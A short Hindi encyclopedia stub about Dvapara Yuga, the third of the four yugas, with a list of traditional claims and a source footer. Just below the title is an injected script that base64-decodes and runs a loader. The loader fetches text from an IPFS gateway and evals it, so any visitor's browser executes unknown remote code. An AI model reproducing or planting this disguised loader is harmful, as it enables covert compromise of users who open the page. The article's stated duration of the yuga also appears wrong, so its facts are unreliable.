द्वापर युग  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ना बनने की प्रक्रिया में है। आप इसको तैयार करने में सहायता कर सकते हैं।


  • यह चार युगों में तीसरा युग है। इसका आरंभ भाद्रपद कृष्ण त्रयोदशी से होता है।
  • इसकी अवधि पुराणों में चार लाख चौसठ हज़ार वर्ष मानी गई है।
  • यह युद्ध प्रधान युग है और इसके लगते ही धर्म का क्षय आरंभ हो जाता है।
  • भगवान कृष्ण ने इसी युग में अवतार लिया था।

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=द्वापर_युग&oldid=22486" से लिया गया